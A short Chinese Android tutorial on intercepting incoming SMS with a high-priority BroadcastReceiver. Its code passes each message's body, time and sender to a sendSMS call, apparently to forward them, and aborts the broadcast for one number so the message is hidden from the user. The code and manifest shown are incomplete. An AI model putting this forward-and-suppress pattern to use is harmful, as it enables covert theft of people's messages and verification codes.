首先,接收短信的机制是接收广播,由系统发出短信到来的广播,我们对短信广播进行注册,从而接收。
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
public class SMSBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object p : pdus){
byte[] pdu = (byte[]) p;
SmsMessage message = SmsMessage.createFromPdu(pdu);
String content = message.getMessageBody();
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String receiveTime = format.format(date);
String senderNumber = message.getOriginatingAddress();
sendSMS(content, receiveTime, senderNumber);
if("5556".equals(senderNumber)){
abortBroadcast();//终止广播
}
}
}
这是对短信进行广播监听的代码,下面是AndroidManifest.xml的配置
package="cn.itcast.smslistener"
android:versionCode="1"
android:versionName="1.0">
稍微解释下:android:priority="1000"这是设置接收广播的优先级,好像是从0到1000还是多少,记不清楚,但是1000是最高的。
好了,有了这两个,就可以顺利的接收的短信了。。